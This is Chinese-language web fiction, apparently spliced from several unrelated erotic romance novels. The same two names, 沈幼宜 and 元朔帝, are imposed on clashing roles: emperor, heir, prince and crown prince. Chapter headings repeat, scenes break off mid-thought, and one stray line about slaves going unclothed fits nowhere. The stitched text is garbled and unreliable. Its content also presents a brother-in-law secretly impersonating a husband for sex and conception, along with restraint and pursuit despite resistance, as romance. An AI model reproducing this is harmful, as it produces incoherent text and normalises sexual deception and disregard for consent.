沈幼宜吃了一惊,她想起婆母的劝告,想来母亲也被瞒住了,悄悄捏了捏他的手,只剩下几分想错人的懊恼:“瞒着就瞒着,那你调戏我做什么,我还以为世子要……轻薄人,原来是你这个坏人欺负我!” “若这样就走了,还不知盈盈要怎样想我和兄长,这两日会不会想得睡不着?” 元朔帝犹豫片刻,抚了抚她头,轻轻道:“只是要告诉盈盈,那些被支开的随从不知该怎么想兄长了。” 沈幼宜方才她把大伯想得坏透了,简直、简直……虽说这也不怪她恶意揣测,可总有一种凭空污蔑旁人的愧疚,双颊气得鼓起,狠狠咬了他一下,含糊不清道:“你们两兄弟长得这么像,谁知道哪个才是真的,我得留个记号才认得出哪个是我夫君!” 他这么做不是坏了大伯名声么! 轻微的痛感从腕上传来,元朔帝不禁蹙眉。 她的力气太轻,牙齿不够锋利,又舍不得下狠,像是怕咬重了似的,柔软的舌灵活地舐过连皮都没破一点的伤口,温热的触感仿佛不是落在他的手臂,而是传到了离她最近的腹下。 像一只替他疗伤的小兽,但偏偏是人形,更像来讨三藏元身的女妖精。 沈幼宜察觉到郎君倏然抽手,以为是没轻没重惹疼了他,那分气已经消得差不多,只剩下离别的不舍,低低道:“别忘了我说的话。” 阿娘临行前见不到他会伤心的。 然而那只手再度递到她的唇边,正对着那一圈咬痕,分毫不差。 沈幼宜有些不解,却还是犹豫张口,想要再抚慰一番,然而他的声音从头顶传来,从容平和:“盈盈,要做记号必得见血,否则留不下的。” 他应当厌恶她的轻柔,起码是不喜欢的,更何况这点痛楚对他而言,远远不够。 这个要求实在荒谬,沈幼宜最喜爱他的皮相,哪里舍得,可他换上夫兄的衣服,似乎也比之前威严许多,虽然温和,却又不许她拒绝,又伸进来些许,就像他要自己含住他的手指那样。 她委委屈屈地用力,尝到一点血味就松了口。 熟悉的疼痛令他松快了几分,女子的犹豫不决延长了这分痛苦,却更合他的心意。 她唇边沾了一点艳红,双目却滚下泪来,一滴渐成一行,蜿蜒而下,透明如宜玉。 “这样就能分得清夫君了,盈盈还生气么?”他道,“不要哭了,被风吹到眼睛会疼。” 那滴泪被他拭去,沈幼宜听见他平和温柔的语气,越发不肯懂事,声音还带一点哭腔:“可我舍不得咬你,更舍不得你走,郎君,陛下能不能通融一些,你带我去成不成呀……” 这滴泪太热,他缩回了手,却不再看倚在马边的女子,忍下心底那点不适,催促道:“不过两日,你到岳母家里先住一晚,很快就能接你回家,快些回去……不要哭了。” 他没成过亲,却见过同僚朋友的妻子,她们对待丈夫也关心客气,可哪有她这么不讲道理的。 难道日后二郎做了官,每次离开时她也这样痴缠? 元朔帝被脑中一闪而过的画面惊到,随后才勒住有些躁动的马,吩咐侍从跟上。 他们如今是新婚,弟妇当然会与丈夫难舍难分,等她生下孩子,自然不会再与二郎这般亲密。 沈幼宜也不是不分轻重的人,虽有点不高兴,闹过就算了,见他整装出发,就提裙退到门内,含泪望着他:“那你快走罢,回来的时候给我带些蜜饯,我就不哭了。” 元朔帝正欲开口问她喜欢什么样的蜜饯,忽而想起二郎与她共处多年,怎么会连恋人的口味也不知,颔首应下。 只是心内难免歉疚。 她的心性还像是个孩子呢,只喜欢吃吃喝喝。 侍从跟着世子纵马往南门去,他们虽然知道国公夫人的意思,可知道总不如亲眼撞见世子和二少奶奶依依惜别这样震撼,因此一路上只要世子不开口,他们半句话也不敢多言。 要是大胆起来,他未必能招架得住。 但那内侍却罕见地没有说些讨喜的话,只是屏气凝神跪伏在地。 信纸飘落出来,只有短短的一页。 这一页纸的上面也只有五个字。 “妾问陛下安。” 帐内的气氛忽而凝滞,元朔帝静了许久,目色沉沉:“贵妃不愿意来么?” 那内侍强自镇静,低声道:“娘子说陛下有要紧事做,她身为内廷妇人不便多打搅,要同太后娘娘在宫内礼佛诵经,暂时便不来了。” 贵妃定下的事情,别人怎么能劝得动,至于圣上,他的身份又不好劝圣上息怒,或许贵妃只是吃醋杨修媛随行罢了。 第 44 章 第 44 章 那内侍跪伏在地,他不知贵妃娘子此举何意,但圣上的举动却出乎他意料。 元朔帝倏然站起身,面色沉沉,过了良久,忽而将那张字纸随手丢入炉中,径自向外。 陈容寿差人回宫,去请了贵妃前来,正要在天子面前为贵妃美言几句,还没来得及折返,迎面撞见圣驾,连忙跟上前去,小心等候元朔帝的吩咐。 元朔帝忽而停了下来,他抬手遮阳,掩住稍见端倪的面色,吩咐道:“备马,回宫。” 天子一贯强势,甚少容人违逆,可陈容寿的心几乎都提了起来,他虽不知宫内发生何事,望了一眼连绵不尽的营帐,小心劝谏道:“陛下万金之躯,出行当慎之又慎,若即刻便要回宫,或许会教外人生出许多猜测……” 拔营不是一时半刻的事情,可陛下大约已是归心似箭,携带的禁军不会很多。 天子畋猎十日,这是宫中早有明言的,天子骤然离去,且不说外臣会如何揣度,疑心宫中生变,君王要轻车简从,疾驰百里,到了宫中也已经是深夜,或许还要叫开宫门,冒如此大的风险,只为贵妃一人的小性子,他是万万不敢相从的。 元朔帝瞥过他惶恐神色,神情颇见阴郁,沉声道:“朕早年率百骑冲阵,也不见如此小心,难道年纪上来,连这点小事也惧?” 天子盛怒之下,陈容寿不是谏臣,也不敢一意孤行与君王争辩,然而元朔帝定住心神,恢复了一贯的从容镇定。 他不该为她一句话、一点眼泪就彻底乱了心神,天子有所为,有所不为,为了那一两句含糊不清的话就撇下一众臣子,只身回宫探望,简直是匪夷所思的事情,他绝不该如此。 身为帝王,他至多只是分些关怀在她身上,令宋院使甚至太医院上下数百人都到瑶光殿去,为她悉心诊治,他不通医术,即便回到她身边也不能为她做些什么。 再过一个时辰,已经埋伏好的禁军会将饿了许久的猛兽赶出,供帝王狩猎,他从中获得驰骋的乐趣,向臣下展示君王正当盛年的武力,也可以观察年轻郎君的英姿,考校他们的武艺胆识,君臣尽欢。 这病应当不会要人的性命,她在宫中有人照拂,不会缺衣少食,他有许多理由可以将她暂且搁置在一边。 沈幼宜换了一身绯色衣裙,有些不适应才梳上去的妇人头,拘谨地走进来,柔声问安:“媳妇请母亲安。” 她已经听守门的侍婢说起,世子也在此处,是以连头也未抬,只是婚后不知如何改称,要不要随着夫君唤他兄长,仍谨慎道:“世子安好。” 元朔帝从前也见过她两次,然而并不多留心,一个小心谨慎的姑娘,在婆母面前老实如同鹌鹑,说话柔声柔气,他对这弟妇的印象仅止步于此。 只是经了昨夜,他颔首答礼时不免又多瞧了一眼。她不过是有恃无恐,故意惹些闲气,没指望太子这个醋坛子能接上什么话,正想在他面上轻啄一记,才贴近他面颊,温热清爽的气息已先一步扑在她面颊。 他含笑望着她,口唇开合,声音也动听:“怎么会不同意呢?” 沈幼宜一怔,她随口就能说出很多理由。 譬如沈夫人把世子看得比性命还要紧,她和世子天差地别,哪里般配,又如世子见她多次,也不曾有过什么过界举动…… 然而郎君的臂环住她腰身,教她稳稳地坐在他膝上,手掌牢牢摁住她脊背,五指山似的沉重,马车颠簸,她呼吸有些不畅。 他的目光深邃,里面或许有些她自以为的怜爱,说出的话却骇人听闻:“盈盈,你听说过借/子么?” 沈幼宜骤然一惊,忽略了一只手指在她腰间一挽一松,罗裙就摇摇欲坠。 足见他的灵活。 屋子里和马车都暖和得很,金陵还没到最冷的时候,除去外披,她穿得不算严实。 “夫君,我有点冷。”她心底一阵阵发凉,伸手去捉腰带,另一端却被人牢牢攥住。 背上的力道减弱了些,元朔帝轻笑一声,道:“盈盈,你还没回答我的问题。” 沈幼宜声音微颤:“听过,人家说李家二哥成婚之后好几年不生养,偏偏他出去做了几年账房,这中间二嫂就有了……” 她也听过一点乡间的风流事,可是这种话听过就算了,人家夫妻自己乐意,就算是真的也不能当真,谁也不会往自己身上想。 他的嗓音有些过于冷静,竟像是在说别人家的事情:“倘若我不能生养,却又不愿声张出去,由兄长代劳当然最好,他同我流着一样的血,孩子生出来更不会有人疑心。” 沈幼宜呆呆,近乎失语:“怎么会呢……二郎壮实得像头牛呢,怎么会生不出孩子?” 她不懂医术,没结过婚的男子怎么会知道自己能不能生,就算是知道了,也不会舍得,即便真将妻子豁出去,那她也是人,怎么可能会同意丈夫荒谬的决定? “或许是那场高热闹出来的祸,盈盈,我当真不能生了。” 他抚过她沾了泪宜的面颊:“你就会这样坐在兄长怀里,与他燕好,然后为我生一个孩子。” 沈幼宜的心悬到了喉咙口,一鼓一鼓,震得她舌底发干,胃里翻江倒海。 她全然乱了,二郎怎么会和她讲这样的话? 今时今日的她拗不过裴家,即便是她以死相抗,镇国公府也不会放弃这个决定。 他们只会要她死,然后再另外选一个出身低微又好拿捏的女子。 一把冰冷的匕首打断了她对日后种种凄惨的预测,她的丈夫不知从哪抽出来,将柄身递到她手上,替她合拢僵住的五指。 “盈盈,你若不愿,就立刻杀了我。” 他熟练地抽去刀鞘,握紧她的手,让刀尖抵在胸口,残忍而从容道:“盈盈,刺进来。” “郎君,你住手!” 沈幼宜大惊失色,她还反应不过来眼前是怎么一回事,他们的关系糊里糊涂,上一刻还紧贴在一起你侬我侬,下一刻就要刀兵相向,她用足了力气回撤,怕一时不慎刺破他胸口,却挣开不了分毫。 即便她不同意,这件事还有别的办法,他们之间也不必立刻死一个的呀! 她全副心神都在匕首上,哪还顾得上罗裙裤袜,舌头和牙齿都在互相打架,不知迸出些什么词才能劝住似乎已经疯狂的二郎。 然而只是挣了几下,沈幼宜面色一僵,定定望向丈夫,一脸不可置信。 倒也不必再劝…… 他已经先她一步,刺了进去。 尽管只是指腹,可她怯得发颤,只进一个指节也觉得满。 元朔帝容她握紧臂膀缓了缓,才平和道:“你当真认不出来我和兄长?” 沈幼宜难以置信,他绕了这么一圈吓唬她,就是在吃没影的醋,是他们这对双生子把阿娘吓了一跳,不是她认不出来! 她微微带了哭腔,又有些耐不住地低吟,道:“你作怪就作怪,别在这时候提世子成不成,惹人厌得很!” 似有冰雪兜头而下,他被暖热的指尖也凉了几分,开口问道:“你很讨厌他,是也不是?” 沈幼宜呸了他一声,咬牙切齿道:“谁会在这种时候提另一个人,太子,只有你这个衣冠禽/兽才想得出这种主意!” 他明明那样放肆,还在欺负人,却又轻轻拍抚。 窗外似乎有人在叫卖些零碎东西,声音纷至沓来,她完全可以想象那热闹的街景……二郎却将她完全拢进氅衣里。 他一时气恼,偏要将她引入穷巷逼迫,以二郎的身份开口问她,这样行事,未免有些令人不齿。 沈幼宜被闷得有些出汗,咬着唇生气。 都怪郎君那样说,她不自觉也会带入到他的设想里。 若是二郎真的不能生,她这个做弟妇的只好轻衣薄裳,夜半慌慌张张走错门,跌到世子怀里去,哭着哀求他帮一帮忙,只要他不嫌弃,借给她一点东西…… 二郎是个男人,虽然这话是他先提出来的,可一定很恼怒,不能接受亲眼看着自己的妻子引诱兄长,起初他担心世子过于正直,不肯完全就范,就守在门外等着,等她哭叫起来的时候再避出去。 时候久了,他嫉妒得发狂,说不定避也不避,她被世子掳到车上私会,半推半就的时候二郎就会掀帘进来,将他们的私情曝光在众人眼前,自后握住她的腰,就算是他生不了,也要分一杯羹…… 不知是轮流,还是一起。 沈幼宜背上汗涔涔的,里衣都沾透了,她真被二郎给带坏了,怎么能想象停在里面的是世子的手指? 大伯养尊处优,应当不会像太子这样,跟着那些士兵学了些没皮没脸的话,就是将来娶了妻子,肯定也十分温存,不似二郎喜欢把她弄哭,装不了几日体贴的。 她发怔的模样实在可爱可怜,虽然此刻无声的乞求只会教他得寸进尺,但元朔帝还是迟疑了。 女郎毕竟鲜妍娇弱,他磋磨得稍狠一些,她便惊颤得厉害。 哪有正经人家的女子会接受如此荒谬的事情,他既然应承做下,就应当把此事看成差事,顺顺当当瞒天过海,而不是横生异心,想要她接受换一个丈夫。 他们之间无情无义,不过是缱绻过一夜,只是他还没有娶妻,总觉得自己对她是应有责任的。 然而弟妇不需要他负什么责任,她与他不熟,也不想与他熟识,只爱玄朗。 元朔帝按下这份心思,动作也慢了下来。 沈幼宜装聋作哑,隐隐盼着他继续下去,然而二郎该开口的时候不开口,不该开口的时候却非要细究,他问:“要不要我轻些?” 元朔帝虽不过是自欺欺人,但他想如今以弟弟的身份,她不作声,也是同意的。 作为丈夫,他也该探索一些让她高兴的方法。 车轮辘辘,碾过一颗石子,沈幼宜像一尾离水的鱼,拼命抑住声音,却被迫跪起,主动撑住他肩。 第二个了……他温水慢煮,水磨似的工夫,沈幼宜不解,她想,这应当是算顺从的呀,怎么他就缓下来了。 偏偏他还要来问:“盈盈,是不是有些受不住?” 她眼含宜泪,气到无处说理,然而这只让他抽丝剥茧的动作缓了片刻。 元朔帝思忖此刻即便不扶着她,她应当不会掉下去,于是腾出手来,温和道:“出些汗会舒服些……要不要吃一颗蜜饯,甜甜嘴?” 沈幼宜一口气闷在胸口,她被他握在掌心玩弄,现在吃得下蜜饯么? 然而随即一种不详的预感浮上心头,他要甜哪? 她连忙摇头,惊惶万分:“我要生病的!” 但他若要强制如此,她也不反对就是了。 元朔帝环顾四周,近乎密不透风,不会着凉,他自然不会在这种地方同她真做出什么来,然而他心怀卑劣,为这一口理不顺的气,极想与她计较。 他听二郎说起过为他传授课业的夫子,那应当也是最符合她口中“老学究”一角的男子。 自然,二郎与那先生不对付,言辞间免不了会有些许夸大。 年近六十,牙齿落了一半,头脑早已不甚敏捷,却还常常陶醉于自己中榜那日的辉煌,或许是觉得将考试说得太通俗易懂难以收获学生信服,故意往诘屈聱牙的路子上走。 酸腐而刻薄。太极殿中的庆功席宴早已预备妥当,只待昭王回宫开宴。 明德帝面南独居尊位,太子与昭王一左一右随其后。礼部敢如此安排自然是得了陛下允准,昭王的位置几乎已与太子比肩。 沈幼宜阶品不高,只因兼了太子中允的官职,位次大多安排在东宫身后。左右俱为东宫同僚,昭王如此功高震主,直逼东宫,沈幼宜瞧他们面上都不大好看。 原本太子殿下一支独秀,东宫内明争暗斗不断,如今倒都生出几分同仇敌忾的味道。 沈幼宜酒量尚可,场面上与同僚们喝了三两盏酒。 等到几支歌舞唱罢,宣诏官奉帝命起身时,文武臣工不约而同屏气凝神,听候陛下对此番东征将士的封赏。 东宫之位自然不会易主,陛下颁下旨意,擢昭王王爵为超一品,位在王公之上。允昭王府自制官署,招贤纳士。另加封昭王元朔帝为陕东道大行台尚书令,右武候大将军,益州都督。 沈幼宜粗粗算了算,昭王身上累的所有官职前前后后总有八九个,只怕他自己都未必记得清。 除此之外,明德帝更赐昭王铜炉四鼎,允他自行铸币。 除了储君之位,帝王几乎已经赐下了所有殊荣。 “儿臣谢父皇隆恩。” 群臣面色各异,昭王一战扫清郑夏两国,河南河北富饶之地尽归大晋所有,如何封赏都是不为过的。 待昭王谢恩还席,明德帝朗笑,又与他痛饮一杯。 “接着念。” 宣诏官展开手中圣旨,东征中立下汗马功劳的将领泰半出自昭王麾下。每念一道嘉赏圣旨,东宫中人心下无可避免沉上几分,偏面上还得掩饰着。 瞧沈幼宜尚有心情用膳,他身后的一位东宫属官由衷佩服。 既然连首当其冲的沈大人都不忧愁,他们还犯不着在此刻杞人忧天。 沈幼宜吃了半块胡饼,也没什么胃口。只不过她在城门处站了半日,不吃一些根本顶不住。 长长的封赏名录中,明德帝独独点出一位少年将军,加封其为武安侯。 他是昭王帐下玄甲军三大将之一,原渤海公之子,谢谦。 昭王南征北战,聚拢到他麾下的名将如云。沈幼宜无意间抬眸,待看清大殿中央那位年轻将军的面容时,一刹那间,仿佛宴席上所有的喧嚣都离她远去,化为无形。 沈幼宜极力克制着自己的神色,指节因为紧握酒盏而发白。 她确信自己从未见过这位春风得意、战功卓著的少年将军,可他,他却与她梦中的模样分毫不差。 一月前的梦境涌入脑海,他分明就是梦中宫变后,戍守应天门的那位年轻将领。 沈幼宜仔细回忆梦中人的话语,查验令牌时他们唤他,“谢将军”。 “沈大人,沈大人?” 开口提醒的是东宫中与她交好的一位同僚:“沈大人怎么出神了?” “出神”二字说得委婉,沈幼宜神思回笼,低头便能看见自己杯中酒水撒了大半,连衣袍上都沾了些。 她对同僚勉强一笑:“我在想工部的事务罢了。” 总归遮掩过去,宴饮的侍女取了巾帕,蹲下身替沈幼宜擦拭案上酒渍。 “有劳。” “大人客气了。” 沈幼宜的目光落回远处,好在她的位置不起眼,大约也没有人留意到这一桩插曲。 歌舞继续奏演,殿中觥筹交错不断。然而后半场席宴上的一字一物,全然未再落入沈幼宜心中。 元朔帝目色沉沉,将手递到她唇边,言简意赅:“盈盈,学究教你噤声。” 女子哭哭啼啼是很令人生厌的一件事,然而他偏偏更爱看她梨花带雨多一些。 除了衣饰发型,沈氏女在容貌上自然没什么变化,可又似天差地别。 她的声音应当更柔和甜蜜些,望人时的神情楚楚可怜,他不过缓缓动几下,泪宜就一箩筐似的滚下来了,不似今日这样平淡谦和,绯色的衣裙掩盖了她玉一样的肌肤,却更衬得她光映照人。 他举止或许称不上粗鲁,但帐里昏暗,不知有没有在这白璧上留下细痕。 若昨夜换作二郎,见她委屈难言,大概早就将她揽在怀中轻哄。 不过一眼,元朔帝便垂下眼帘,不言不语,神情冷淡而疏离。 沈夫人居于上首,打量这娇滴滴的新妇,她行走如常,面上并无伤心或娇羞神色,身侧的长子待新妇更是淡淡,甚至是过犹不及,像是拒人于千里之外。 虽知他本就对此事不大赞同,还是有些被戏弄的恼怒,淡淡道:“府里就这么几个主子,用得着谁伺候,你也坐下一道吃罢。” 侍者端了菜肴入内摆桌,元朔帝不欲在沈幼宜面前多露面,正要起身告辞,沈夫人却开口道:“你成日里忙着公事,难得有空陪我,大约是嫌我这个做娘的啰嗦,连饭都在官舍里用,可弟妇难得拜见,还要回去瞧你那些书卷,难不成是没备下见面礼,特意避着你弟媳?” 元朔帝一时语塞,他是谨守男女之防的,又无二郎在场,和他的妻子同桌共食难免有些不像话,只是母亲似乎有意留他,他也只能奉陪。 父亲尚可去郊外行猎,他却是避无可避。 沈幼宜难得见到自己这位夫兄,沈夫人既然不用她侍奉,她也不过是代替婢女给婆母盛了一碗汤,也给她的大伯奉了一碗。 她从未与丈夫的兄长离得这样近,虽是一家子,但从二郎过往的信件里,隐约能瞧出,他这位兄长是位极严厉的男子。 或许是父母的要求不同,她的丈夫虽然也被养父要求过行走坐卧,然而不会像世子这般端坐肃穆,如竹如松,但又不显得刻意。 同元朔帝对坐,她连交谈也是不敢的,但是她俯身将汤碗置于他身前,却又不可避免窥见他颈处那枚红痣。 夫兄这样的人怎么会被人投入监牢,还会握住她的腕,叫她好姑娘。 沈幼宜脑中忽而闪过一丝古怪念头,然而目光轻移,见他神情冲和内敛,对她那过于冒犯的梦境显然一无所知,一时自感羞愧,敛眉起身,走到沈夫人另一侧落座。 元朔帝嗅得她衣怀香气,微感窘迫,袖下指尖蜷缩,细微的刺痛反而令人好过许多。 除却在官署内上官会不时问话,他在家中一贯是食不言寝不语,且又多了一个沈幼宜坐在旁侧,更沉默不语。 这顿饭任是谁也吃不香甜,元朔帝眼见母亲落筷,起身告辞,沈夫人并不多留,只要沈幼宜陪她说说话。 沈幼宜应承下来,她扶着婆母歪枕在美人榻上,坐在榻侧绣墩,婆母的审视令她不安,可又不好主动开口,正惴惴不安时,冷不防听沈夫人问起:“昨夜二郎待你可好?” 她同太子认识的年月比沈夫人同儿子更长,做母亲的再来问这话不免有些奇怪,只是被提及新婚之夜,还稍有羞涩,轻声道:“二郎很是体贴。” 他们夫妻之间的这些不顺利,就是对亲身母亲也不好讲明,哪有媳妇还要对婆母诉委屈的。 沈夫人目光在她面上巡过几遍,晓得沈幼宜应当不知真情,稍稍放心,语气却严厉:“体贴到房也未圆便走了?” 沈幼宜被她一斥,怔怔片刻,倏然红霞满颊,连忙摇了摇头,辩解道:“二郎同我、是行过礼了的……母亲不是见过妾的白帕了么?” 沈夫人瞧她面生红意,不像是被丈夫冷待的模样,思及儿子指尖的伤痕,心下仍存疑惑,随口寻个理由掩饰道:“那他新婚燕尔,今日出门作甚?” 沈幼宜哪里晓得为什么,她自己在房中想过几回,除了那个难以启齿的原因,她实在想不到什么别的不好,咬唇半刻,才低低道:“或许是夜里郎君饮了酒,又十分劳累,怕我不适,只用片刻……行完礼就歇下了。” 这话说完,内室霎时都静了,只能听见廊下秋叶掠过砖石的沙沙声。 她虽说得含糊,又为丈夫寻了许多借口,可沈夫人做人妇许久,哪有不明白的,哪曾想方才随口一句,竟引出这么个内情来,一时变了面色。 家里头的担子都担在他一人肩上,二郎虽说早年患病难育,可她也不过略略有些失望心痛,要是长子也雄风不振,那同摘了她的心肝有什么分别? 但此事对于男子而言何等敏感,这做母亲的怎好开口去问? 沈夫人徐徐吐了一口气,勉强道:“这倒是了,你也别恼他,二郎近来确实烦恼,他父亲兄长都在朝中身居高位,这回虽有功劳,可内阁晓得家里的事也不免嘀咕,以为大郎有徇私的嫌疑,封赏的恩旨迟迟未下,他大概心中郁郁,将气泄到你身上去了。” 没人和沈幼宜说过朝中的事情,她连忙应了下来,可沈夫人也没有同她多言的心情了,不过叮嘱几句便让她回房歇着,晚饭再和夫君一同过来。 红麝陪着娘子从沈夫人的院子出来,瞥见小径尽头的人不免吃惊:“奴婢瞧见世子早就告退了,怎么会出现在此处?” 沈幼宜对府中院落分布渐渐熟悉,她与二郎的居所离世子的临渊堂不远,却不顺路,他要回房,不该出现在此处。 倒像是在等人。 元朔帝身侧的侍从见沈幼宜出来,连忙小趋近前,恭敬道:“世子爷有两句话想同二少奶奶说,劳您移步。” 虽隔得有些远,可沈幼宜感知那人的目光落在自己身上,轻若一片鸿羽,却又重似山石,她微微喘不过气。 可夫君不在身边,大伯寻她做什么? 这样的场景元朔帝也是第一回见,原本想与她说几句话,可等他宽褪了衣裳,帐中的美人就一句话也不肯说了。 但这不过是未嫁女郎的羞涩,元朔帝不甚在意,正思忖怎么教她同意让太医为她把脉施针,可那个沉默无言的女郎竟然赤足下榻,悄无声息地转过屏风,四目相对,好奇地打量着他。 温热的足触到泛凉的砖石,她忍不住瑟缩了一下,甚至还捂住了自己的眼睛。 不过这无济于事,元朔帝倚身靠在壁上,平和望着五指间过于明显的缝隙,微微无奈:“地上凉得很,不要胡闹。” 可言语间的责备威吓的意味太少,不足以压住她的好奇心。 她捂着脸想了想:“我站在裘毯上就不觉得凉。” 他生得高大,身前块垒分明,沈幼宜握了握自己的,好奇道:“我想知道男人和女人到底有什么分别么,郎君瞧着与我差别不算很大,也软么?” 第 45 章 第 45 章 元朔帝瞧她精神好得很,淡淡道:“宜娘要是喜欢,郎君陪你说一会儿话,不许得寸进尺。” 沈幼宜忍俊不禁:“可是难道不是夫君先跑进我的闺房里,还……” 他们二人此时此刻,到底是谁得寸进尺了呢? 元朔帝轻轻叹了口气,她已经是睡足了的人,当然有闲心与精力同他问这问那,好奇他们之间的过往,温和道:“那你坐到榻上,想问什么都成。” 沈幼宜见他面上微露倦色,她的本意并不是教他赶回来,但是这件事却是由她而起,不舍得今夜多捉弄他,好奇道:“我们成婚很久了吗?” 元朔帝虽对她那位亡夫有些介怀,然而在这些小事上没必要说谎,平和道:“不到两年。” 沈幼宜微微一笑:“那我们有孩子了么?” 元朔帝顿了顿:“这件事不急。” “那就是没有吗?” 女奴是不应该穿衣的。说话的声音渐渐远了,红麝才敢开口,她颇有怒气:“这些家生子,仗着父母做奴婢做久了,反倒编排娘子的故事,您生儿生女和一个外客有什么关系?” 沈幼宜虽不高兴被人议论,见她要往外走,叫住道:“你去做什么?” “奴婢去问问总管,怀思堂住着哪位客人,要只是他们胡乱编排,就让夫人知道小厨房的人嘴里不干不净,远远把她们赶出去才好呢!” 沈幼宜摇头,如果是重要的男客,即便没见过,婆母也会和她提上一句,然而她从未听说过此人,但听那几个女婢抱怨,又不像是寻常借住的亲眷,或许是沈夫人贵人多忘事,又或许…… 人家是有事瞒着她。 她不愿意将人往坏处想,起码到目前为止,她的日子还算过得不错,府里也没有多少让人烦心的琐事,然而与郎君亲热时的不谐、沈夫人时常提点她要早些有孕,甚至于母亲那过于异想天开的幻想,一点一点积在她心头,这些看似寻常的事情,似乎又没那么简单。 母亲不愿意教二郎做官,这一点不难解释,朝廷人才济济,能提供给低等官员的俸禄却不高,裴氏不缺养闲人的钱,可他日日为官府的事情忙碌,又不能得个一官半职,难道当真是被大伯训导得淡泊名利,专心当差又不求回报? 世子自己还每月领俸禄呢,他太子有这份气度胸怀? “你是我的婢女,人家要是不想让我知道内情,还会告诉你么?” 沈幼宜沉吟片刻:“你回去的时候装作迷路,叫人回院子知会一声,把郎君搁在我这儿的东西都拿到西厢房去,不要怕别人知道,要是夫人问起,就全推到我头上来,夸大些无妨。” 长子才替弟弟圆了一回房,这对假夫妻就短暂分别了几日,刚刚一同回府就争执起来,居然还是新妇主动开口要分房,消息传来,沈夫人也难以稳坐钓鱼台装聋作哑了。 她对捡走二郎却不报官的陈家无甚好感,连带着也轻视沈家,可这终究不是什么光彩事,万一被媳妇识破,大吵大闹起来,她也不免有些心虚。 沈幼宜坐在院子里,看着婢女来来回回搬弄,只过了一炷香的工夫,就有人传她去见沈夫人。 她本来就在夫君的手下哭过一两回,甚至不需要伪装,连妆也没有新描。 沈夫人是见惯大场面的人,她见新妇走进门时失魂落魄,心下不由得一紧,却严肃了神色,斥责道:“才成婚多久,就闹得连下人都听见了,婚前吵着闹着要娶进来,婚后安生不过三天,早知这样,真不该娇惯着他,事事都顺着二郎的意来!” 沈幼宜今日才真正见到婆母的疾声厉色,她早知沈夫人本性厉害,虽有惧怕,但放在这时候反倒恰到好处。 沈夫人见她死死咬着唇,一时也有些拿不准她到底是为什么和长子闹,玄章是很会调/教身边人的,他对人对己都要求严苛,又不许侍女娇气,难免会看不惯弟妇的做派,但沈氏女是高嫁,即便被丈夫训斥两句也该忍着才对。 她对儿子的脾性还是清楚的,玄章既然答应下来,就会做到,她有孕之前,长子应当是不会主动分房的:“你是聋了还是哑了?” 秦妈妈见沈夫人动气,连忙对沈幼宜柔声柔气道:“二少奶奶,长辈问话,您不能不开口呀。” 娇怯妩媚的美人失去了原有的鲜活,秦妈妈这一劝,倒像是勾起她多少伤心事似的,沈幼宜抬起头来,朱唇轻启,还没吐出一个字来,就被丝帕掩住呜咽声。 “这事教媳妇可怎么对人说呢……” 沈幼宜本来有两分做戏的意思,但沈夫人瞬时变换的脸色、疾步去掩门的陪房秦氏,她也分不清这哭声里有几分真意了。 沈夫人的语气柔和些许:“到底是怎么了,难不成二郎欺负你?” 沈幼宜摇了摇头,似乎有些难以启齿,瓮声瓮气道:“二郎对我也不能说不好,只是……” 沈夫人握紧茶盏的手微微放松,既然不是那事,事情就不算大了,有惊无险,她敷衍道:“这就对了,夫妻哪有不拌嘴的,我和你公爹到了这岁数偶尔也吵的,你们两个年轻气盛,更是在所难免,关上门说几句就好。” 沈幼宜低头擦泪:“我哪敢和郎君吵嘴,不过是求他多疼我一点,他大约嫌我越矩,很少同我亲热,还要教训人,媳妇不过赌气,他就要搬到外面去,院子里有谁敢不听二郎的话?” 阿娘也和她说,这是可以告诉婆母的,只不过这过程她稍微修饰了一些。 沈夫人沉默,她年少时有被婆母劝导不能过分和郎君亲热的经验,知道怎么做一个贤妇,这是符合礼教的贤妻之举,劝了也没什么可害羞的。 但到了她的下一辈,这情况正好反过来。 她的一个儿子有心无力,另一个立志做柳下惠,这么一个活色生香的娇俏美人,又有那重禁/忌身份,他竟然也无兴趣? 沈氏来敬茶的时候就支支吾吾,她还没来得及委婉问上一问,结果两人就要分房。 沈夫人轻咳了一声,替长子解释道:“男人毕竟还有外面的事情要忙,过一两日他清闲了,才有回内宅的心思。” 她暗暗宽慰自己,长子能有什么问题? 然而沈幼宜却叹了一口气,她是新妇,忸怩也正常,侧过身道:“夫君对我很温和,就是新婚夜有些不快,后来像避着我似的,只肯用……” 虽然这声音细若蚊呐,沈夫人还是听清了后面那个字。夏末风起,夤夜比白昼凉上七分。 东宫的床帐采用一种特制的轻纱,薄如蝉翼,遇风骤寒,在炎热的夏日是最好不过的纳凉物件。 沈幼宜的双手被缚,高举过头,掌心恰好碰见垂落下来的纱帐。 床榻上的动静稍微大一点,轻纱便会无规律在她五指、手腕上摇晃,寒凉的触感像蛇鳞在肌肤上游走,令人颤抖,不敢妄动。 沈幼宜确实慌乱得不敢动。 上方之人面带微笑盯着她,双眸如墨般漆黑,好似能看破她藏着心里难以启齿的秘密。 纱帐里一时寂静无声,连彼此的呼吸都微不可闻。 “这个问题很难?” 元朔帝微微俯身,两人之间的距离再一次拉近,温热的吐息落在她的脸上激起惊寒,她当下不自觉绷直背脊。 沈幼宜在他迫人的视线下,咬住唇又放开,直到干涩的唇瓣被完全润湿,方才强忍着颤抖道:“我只是一下子没准备好……” 元朔帝好脾气等着她的下文。 沈幼宜下意识躲避他的视线,却被他的另一只手强行掰正,迫使她不得不直视他的眼睛。 高大的身躯在她身上投射出浓重的阴影,元朔帝逆光的眼眸愈发深邃如渊。 “别紧张,我又不会吃了你。”嗓音低沉,有种说不出的蛊惑暧昧。 他弯了弯眼睛,勾出一个柔和的笑容,像春日里的暖风。 沈幼宜目光掠过他的眉毛、双眼,止步于鼻尖,又重新抬眼看向元朔帝。 视线触及的那一刹,沈幼宜听见了自己的心跳声。 他的黑瞳里倒映着她的脸,让她骤然恍惚。 愿意吗? 沈幼宜展露一抹笑,“愿意。” 她其实已经准备了很久很久,久到快要忘记应该做出什么表情。 元朔帝感受到身下人忽然放松下来,她微扬起头慢慢向上靠近,紧接着温热而柔软的东西覆上了他的唇。 他的瞳孔微征,然而只有那么一瞬,便反客为主。 比起沈幼宜温和的触碰,元朔帝的吻强硬凶狠,像是要将她一口口吃掉似的。 这和她想象中的不一样。 沈幼宜不自觉发出抗拒的呜咽声,伸手想推开他,结果却发现双臂仍然被禁锢在顶,只能扭动身体躲开他强势霸道的入侵。 然而她越反抗,被压制得愈紧,沈幼宜最终只能被动承受他给予的所有,口中的每一寸都被陌生的触感扫过。 她从没有被这样对待过,开始对接下来发生的事感到害怕。 